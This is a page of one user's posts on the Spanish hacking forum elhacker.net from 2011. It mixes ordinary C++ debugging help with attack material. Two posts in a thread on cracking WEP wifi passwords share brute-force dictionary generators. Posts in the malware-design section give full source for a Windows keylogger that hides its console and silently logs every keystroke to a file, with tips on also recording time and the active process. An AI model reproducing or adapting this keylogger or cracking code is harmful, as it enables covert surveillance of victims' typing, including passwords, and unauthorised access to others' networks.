elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 2 [3]
21  Programación / Programación C/C++ / Re: Intentando crear programa romper claves wifi (WEP) S.O Windows en C++ en: 14 Junio 2011, 11:23 am
mejore el codigo un monton, ya que el primero que presente fue muy largo he ineficiente, este codigo genera contaseñas que tengan a,b,c, como ya tengo tiempillo libre seguire haciendo lo demas que es sacarlo a un fichero, mirenlon.

Código
  1. #include <stdio.h>
  2. #define Let_A 97
  3. #define Let_B 98
  4. #define Let_C 99
  5. void letras( int i , int j , int k );
  6.  
  7. int main(){    
  8.    for(int i = 1 ; i <= 3 ; i++ )
  9.            for(int j = 1 ; j <= 3 ; j++ )
  10.                    for(int k = 1 ; k <= 3 ; k++ )
  11.                            letras(i,j,k);
  12.                            //printf("%d%d%d \n",i,j,k);
  13.    printf("Pausa...");
  14.    getchar();
  15.    return 0;    
  16. }
  17. void letras( int i , int j , int k ){    
  18.     printf("%c%c%c \n", i==1 ? Let_A : i==2 ? Let_B : Let_C,
  19.                         j==1 ? Let_A : j==2 ? Let_B : Let_C,
  20.                         k==1 ? Let_A : k==2 ? Let_B : Let_C
  21.                         );          
  22. }

Esta corto y bastante entendible diría yo, espero que lo analicen y opinen


pero ese codigo solo sirve para palabras de 3 letras, si se quiere mas letras hay que modificar mucho el codigo, añadir bucles etc..., el codigo que propuse mas arriba,
con tan solo modificar esta linea
Código
  1. int numLetrasPass=3;
es suficiente, incluso se puede pedir al usuario el numero de letras que quiere, para no estar compilando el codigo todo el tiempo,

si no entienden muy bien como funciona el codigo os lo puedo explicar.


Para la inyeccion:
Corríjanme si me equivoco!, pero no seria mas facil programar socket's para enviar paquetes con las contraseñas, y escuchar las paquetes recibidos, para saber si la contraseña es valida.??

22  Programación / Programación C/C++ / Re: Intentando crear programa romper claves wifi (WEP) S.O Windows en C++ en: 13 Junio 2011, 16:32 pm
22:00 ( España ) = 16:00 ( Colombia )  :P
23  Programación / Programación C/C++ / Re: [Duda] Sobrecarga de operadores en: 13 Junio 2011, 15:24 pm

conforme tu lo has puesto, esas funciones estan devolviendo la direccion de TMP (con el &), lo que pasa que TMP a sido destruido... que hay en esas direcciones?? (basura)

si quitas el "&" (que has puesto en el tipo de retorno) estaras devolviendo la copia del objeto a otro objeto temporal sin nombre como dice en la pagina.


(algo que seguro que no necesitas que te lo diga, seguro que ya lo sabes)
es lo mismo que pasa con los parametros por referencia y los parametros por valor
si pones el "&" estaras pasando la direccion de la variable... y si no pones el & se creara una copia temporal de la variable
24  Programación / Programación C/C++ / Re: Problemas con un programita en: 13 Junio 2011, 15:14 pm
hola Meylar

bueno tu codigo tiene unas cuantas cosas mal o a lo mejor en dev c++ se programa diferente  :rolleyes:

te cuento:
 (esto puede que se te haya escapado)
Código:
scanf("%s",nom);
Código:
scanf("%s", &nom); 


tienes un error de logica
Código:
 while((tip!=1) || (tip!=2))
Código:
 while((tip!=1) &&  (tip!=2))

otra cosa, nom es un char por lo tanto tienes que poner %c en lugar de %s
Código:
printf("El empleado: %s tiene:", nom);
Código:
printf("El empleado: %c tiene:", nom);

PD: no se si te funcionan los scanf con %f para los float, a mi no me los cogia, y lo cambie por double, y el scanf en lugar de %f puse %lf.  ;)

suerte
25  Programación / Programación C/C++ / Re: [Duda] Sobrecarga de operadores en: 13 Junio 2011, 14:35 pm
el fallo esta en lo que devuelven estas dos funciones...
Citar
        clstest &operator +( clstest &c1 ) {
            clstest tmp;
            int i = c1;
            tmp = (this->sMsg + i);
            return tmp;
        }
        clstest &operator +( int c1 ) {
            clstest tmp ;
            int a = (this->sMsg + c1);
            tmp = a;
            return tmp;
        }

el objeto tmp desaparece al terminar la funcion, lo que tienes que devoler es una copia del objeto, y no la referencia a ese objeto ( ya que no existe )

saludos

26  Programación / Programación C/C++ / Re: Intentando crear programa romper claves wifi (WEP) S.O Windows en C++ en: 12 Junio 2011, 19:30 pm
Hola, me alegra ver que esto siguen en pie jajaja

weno como ya comente a WiseHidden este es mi pequeño codigo para generar diccionarios con palabras de tamaño variado.

Código
  1. /** by fantasma306 **/
  2. #include <fstream>
  3. #include <string>
  4. #include <math.h>
  5. using namespace std;
  6. void genDico(ostream& archivo,const char *cadena, double lengthCadena, double maxLetras);
  7. int main(){
  8. /*Esto se puede cambiar*/
  9. string chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  10. int numLetrasPass=3;/*numero de letras que tienen las contraseñas generadas, solo modificar el numero*/
  11.  
  12. ofstream archivo("dico.txt");
  13. genDico(archivo, chars.c_str(), chars.size(), numLetrasPass);
  14. archivo.close();
  15.    return 0;
  16. }
  17. void genDico(ostream& archivo, const char *cadena, double lengthCadena, double maxLetras){
  18. /*18446744073709551615 es el numero maximo que se puede guardar en un "unsigned long long"*/
  19. if(18446744073709551615>pow(lengthCadena,maxLetras)-1){
  20. unsigned long long maxCont=pow(lengthCadena,maxLetras)-1;
  21. for(unsigned long long cont=0;cont<=maxCont; cont++){
  22. for(register int i=maxLetras-1; i>=1; i--) {
  23. unsigned long long pos=cont / pow(lengthCadena,i);
  24. if(pos>=lengthCadena)
  25. pos=pos % int(lengthCadena);
  26. archivo<<cadena[pos];
  27. }
  28. archivo<<cadena[cont % int(lengthCadena)]<<endl;
  29. }
  30. }
  31. }
27  Seguridad Informática / Análisis y Diseño de Malware / Re: Duda con Keylogger C++ en: 12 Junio 2011, 16:38 pm
Citar
luego Fastama306 he probado todo lo que me has dicho pero me salta un error en esta linea

bueno eso es por que mkdir es para crear un carpeta, y no un archivo.

modifique un poco el codigo, asi es como me quedo:

Código:
#include <fstream>
#include <windows.h>
#include <string>
#include <direct.h>
using namespace std;

int main(){
FreeConsole();
string enter="[ENTER]";
string backspace="[BACKSPACE]";
string tab="[TAB]";
mkdir("C:\\registro");

while(true){
Sleep(20);
ofstream log("C:\\registro\\log.txt", ios_base::app);
if(log.is_open()){
if (GetAsyncKeyState('Q')==-32767)log << "q";
if (GetAsyncKeyState('W')==-32767)log << "w";
if (GetAsyncKeyState('E')==-32767)log << "e";
if (GetAsyncKeyState('R')==-32767)log << "r";
if (GetAsyncKeyState('T')==-32767)log << "t";
if (GetAsyncKeyState('Y')==-32767)log << "y";
if (GetAsyncKeyState('U')==-32767)log << "u";
if (GetAsyncKeyState('I')==-32767)log << "i";
if (GetAsyncKeyState('O')==-32767)log << "o";
if (GetAsyncKeyState('P')==-32767)log << "p";
if (GetAsyncKeyState('A')==-32767)log << "a";
if (GetAsyncKeyState('S')==-32767)log << "s";
if (GetAsyncKeyState('D')==-32767)log << "d";
if (GetAsyncKeyState('F')==-32767)log << "f";
if (GetAsyncKeyState('G')==-32767)log << "g";
if (GetAsyncKeyState('H')==-32767)log << "h";
if (GetAsyncKeyState('J')==-32767)log << "j";
if (GetAsyncKeyState('K')==-32767)log << "k";
if (GetAsyncKeyState('L')==-32767)log << "l";
if (GetAsyncKeyState('Z')==-32767)log << "z";
if (GetAsyncKeyState('X')==-32767)log << "x";
if (GetAsyncKeyState('C')==-32767)log << "c";
if (GetAsyncKeyState('V')==-32767)log << "v";
if (GetAsyncKeyState('B')==-32767)log << "b";
if (GetAsyncKeyState('N')==-32767)log << "n";
if (GetAsyncKeyState('M')==-32767)log << "m";
if (GetAsyncKeyState('1')==-32767)log << "1";
if (GetAsyncKeyState('2')==-32767)log << "2";
if (GetAsyncKeyState('3')==-32767)log << "3";
if (GetAsyncKeyState('4')==-32767)log << "4";
if (GetAsyncKeyState('5')==-32767)log << "5";
if (GetAsyncKeyState('6')==-32767)log << "6";
if (GetAsyncKeyState('7')==-32767)log << "7";
if (GetAsyncKeyState('8')==-32767)log << "8";
if (GetAsyncKeyState('9')==-32767)log << "9";
if (GetAsyncKeyState('0')==-32767)log << "0";
if (GetAsyncKeyState(13) ==-32767)log << enter;
if (GetAsyncKeyState( 8) ==-32767)log << backspace;
if (GetAsyncKeyState( 9) ==-32767)log << tab;
if (GetAsyncKeyState(32) ==-32767)log << " ";

log.close();
}
}
return 0;
}
28  Seguridad Informática / Análisis y Diseño de Malware / Re: Duda con Keylogger C++ en: 11 Junio 2011, 16:46 pm
Hola, no se si es solo al escribir tu codigo aqui, pero creo que en el segundo codigo te has olvidado:

Código:
#include <cstdlib>

otra cosa, para usar los string necesitas
Código:
#include <string>

una cosa mas, no entiendo muy bien para que usar tantas variables string...
si cuando haces los if puedes hacer esto directamente:

Código:
log<<"a";

saludos


EDITO:
creo que no tienes permiso para escribir un archivo en C:, lo que puedes hacer es crear una carpeta en C: y dentro de la carpeta escribir el archivo log.
Necesitas:
Código:
#include <direct.h>
y para crear la carpeta:
Código:
mkdir("C:\\carpeta");


para el tema de poner la hora, se podria escribir la hora en el archivo cada minuto (si toca el teclado), tambien otra cosa mas interesante, es saber cual es el proceso que tiene en primer plano y escribirlo tambien en el archivo
Páginas: 1 2 [3]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines